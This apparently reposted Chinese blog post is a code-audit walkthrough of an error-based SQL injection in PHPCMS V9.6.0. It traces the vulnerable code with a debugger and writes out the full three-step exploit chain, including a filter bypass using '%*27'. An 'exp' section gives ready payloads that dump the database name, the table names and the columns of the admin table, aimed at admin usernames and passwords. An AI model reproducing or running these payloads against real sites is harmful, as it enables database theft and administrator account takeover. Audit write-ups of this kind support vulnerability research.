2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞
PHPCMSV9.6.0 wap模塊sql注入漏洞
漏洞環(huán)境:PHPCMSV9.6.0
?
實驗環(huán)境的poc:
/index.php?m=wap&c=index&siteid=1 userid_flash=b3a3Dv_ICFSxJ_SDlQhbf6cdklSxsLje2RJwBTGknbusMO0 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26 nQLyd_att_json= /index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4?
漏洞復現(xiàn)
把之前準備的poc(/index.php?m=wap&c=index&siteid=1)粘貼到地址欄,訪問網(wǎng)址,開啟burpsuite代理:
?
?
在burpsuite抓包軟件中,右鍵Send to Repeater,修改數(shù)據(jù)包點擊Go,如下所示:
?
服務器返回了一個cookie,udntD_siteid字段。
?
把udntD_siteid字段的值復制粘貼到userid_flash中:
userid_flash=4683sBPQGwA2ouyhewFlSKtPfoAV3d1qX5ts_-Yq然后把GET請求改為POST請求,并把POST請求的數(shù)據(jù)改為如下所示:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26服務器會返回一個cookie,cookie中有一個字段udntD_att_json是我們下一步要用到的。注意:如果返回的Response包報錯,在Request請求包中加上content-Type:application/x-www-form-urlencoded
?
?
cookie中的udntD_att_json字段的值:
3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4把post請求的uri改為如下,并把cookie中的這個字段的值復制粘貼到post提交的a_k中,如下所示:
/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4再提交POST請求,服務器的http數(shù)據(jù)包會把數(shù)據(jù)庫的報錯信息返回:
Response包返回的mysql錯誤信息中爆出了數(shù)據(jù)庫phpcmsv96,還包括數(shù)據(jù)庫的用戶名和地址(root@localhost),我們推測mysql數(shù)據(jù)庫報錯的原因應該是POST請求的uri有問題。
?
為了驗證我們的推測,進一步分析POST請求的uri:這個http請求訪問了content模塊下的down源文件。
分析down源文件:
down文件的init函數(shù)里用到了a_k參數(shù),但是http請求并沒有調(diào)用任何函數(shù),也就是說down文件應該是自動調(diào)用的,分別在構造函數(shù)和init函數(shù)添加兩行代碼看是否自動調(diào)用。
?
把POST請求的URI改為/index.php?m=content&c=down
從返回的信息來看,down文件中的init函數(shù)確實是自動執(zhí)行的,這里我們重點分析init函數(shù)
?
打開google瀏覽器,開啟xdebug調(diào)試
?
init函數(shù)首先接收a_k的值,通過sys_auth函數(shù)解密,解密后如下所示:
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}?
parse_str函數(shù)是對解密后的url進行解析并返回一個變量,最終獲取到' and updatexml(1,concat(1,(user())),1)#這一部分:
updatexml在報錯注入中經(jīng)常用到的一個函數(shù),繼續(xù)跟蹤代碼分析后臺是如何報錯的。
?
接著調(diào)用了get_once函數(shù):
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res; }?
get_once函數(shù)里調(diào)用了execute函數(shù)執(zhí)行了sql語句,最終導致mysql數(shù)據(jù)庫報錯。
?
漏洞復現(xiàn)完畢,梳理一下整個漏洞的利用流程:
第三步中漏洞利用的過程中sys_auth函數(shù)起到了很關鍵的作用,這里拋出一個問題:那么是誰調(diào)用了sys_auth函數(shù)解密?根據(jù)整個漏洞的利用過程,我們需要反過來分析第二步。
?
在phpstorm中找到attachment模塊的attachments文件,分析swfupload_json函數(shù):
swfupload_json函數(shù)會提取http請求的數(shù)據(jù)adi,src,filename存放到數(shù)組arr中(filename值為空是因為我們沒有提交數(shù)據(jù)),調(diào)用json_encode對arr數(shù)組加密并轉換成json數(shù)據(jù)格式json_str,然后調(diào)用set_cookie函數(shù)。
?
需要注意的是,http請求提交的src的值是:
%*27這樣寫的目的是為了繞過safe_replace函數(shù)的檢測,%*27最終會匹配到*符號,過濾之后就成了%27(有興趣的同學可以看下safe_replace函數(shù)的具體實現(xiàn))
?
在set_cookie函數(shù)中調(diào)用了sys_auth函數(shù)進行加密,調(diào)用setcookie函數(shù)設置到cookie
其中udntD_att_json字段的內(nèi)容就是json_str的值,這也就說的通第三步http請求$a_k的值了。
?
現(xiàn)在又有一個新的問題:為什么這里會設置cookie?帶著問題,我們繼續(xù)分析第一步,注意:第一步的http請求調(diào)用了wap模塊的index.php
注意:index.php文件只執(zhí)行了構造函數(shù)(沒有執(zhí)行init函數(shù)),第9行代碼經(jīng)過了連續(xù)的三目運算判斷,siteid的值為1,接著調(diào)用了set_cookie函數(shù),把siteid作為參數(shù)傳入set_cookie函數(shù)。
?
繼續(xù)跟蹤set_cookie函數(shù)
set_cookie函數(shù)的參數(shù)siteid賦值給value,現(xiàn)在value的值為1,第91行的is_array函數(shù)會對value進行判斷,因為value不是數(shù)組則會執(zhí)行第96行代碼設置setcookie,調(diào)用sys_auth函數(shù)加密。
到這里,整個漏洞的利用過程分析完畢,第二個問題也迎刃而解。
?
還有一個小問題,第二步提交的http請求中,帶了userid_flas參數(shù),可能有同學會不解,說明一下:其目的是第二步的構造函數(shù)需要驗證userid,想了解的同學可以在第二步debug跟蹤驗證userid的流程,這里不再演示。
?
?
編寫exp
僅用于技術交流和研究使用,切勿用作其他非法用途,希望大家遵守相關法律法規(guī),堅決抵制任何違法犯罪活動。
獲取數(shù)據(jù)庫名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=607cobRAvXw5UHTgmC8eAceaa2O3S1apFTjwplAg5jBLsUBBT9sqicAXHQNDFAV9wv_mcepgtWYsIz5zu-OegyNNWkdB96BgSgJ-GZhOaurd4CyCVUizrLJvtAvUo4TOKKaQ3msYlKdz20wDFFNq7cMZ7_d_Di-QHLnXk_ycxYi4uftkFMKcZqYbEw_l?
獲取數(shù)據(jù)庫表名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200%2C1%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=8f45ay4YrQQ5GMdkRzI5nao6f5erP_Rqn9l98OCdmFl4yJ8FKJEMTS_e7nE3OPfFtN_FCkk9VWHOzZEVrGNpF-AKRJWq4fwhM1yebyXRyuC5pJxOB-2eLlB9-SLMOHeD7ibIXKPsGFZ7Jwvd7ebr89kn1HSZlBqfluR87QEk631XiLrmpzZpKqUY88q0oAvTFAhr_rAP5lFE6h8eYQvRn6YyUmWFg6YmHc63g4jwyznko1Eq4a6jkSXqbz6z1YDB_RnL8g2GL5clhe7Kt3_Re66HMiRfI0GbvNcmUxOB通過來控制limit函數(shù)的第一個參數(shù),依次爆破數(shù)據(jù)庫的每張表名,還有一種方式就是通過group_concat函數(shù)對數(shù)據(jù)庫表名進行拼接。
最終爆破出存儲管理員用戶名和密碼的表名v9_6admin
?
?
獲取表字段
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=%*27v9_6admin%*27%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=1494ZzfW09A5rCun4L9U7nB_Y_yRMI8rCLJL_CorQDIsVPI6P-47U0aDun95SdkcFXMvG42fpCMUjcD1ml5m8BaLfB6Bv2O7OPj34GV3E23ScaO5-N6DrOWfFhyQUKEHaO4QcsDpbrOyKn2UJum_WH4EVeQaMnMlcAh7wb-YsktlImMM6mEQGi4_yBZ1XyTUmyp15PfkiCntWCOh7X0A-05JtKEJcKMpBPVEmz8jB0RYSUYBtWMPP6Rh-WBUH-ryq_icLU5_1Is4uizNHtELKHhQBLzbL53taBuPQw6EnJPl15BaOcTqCjYc-x6FOpnCe4RIsfMZcP3OYVdU0xjia6hkwAMy SQL Error:爆出了v9_6admin表的所有字段。
通過字段,最終獲取用戶名和密碼
?
總結
以上是生活随笔為你收集整理的2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: grub4dos和bootmgr双启动
- 下一篇: 用foobar,ape转mp3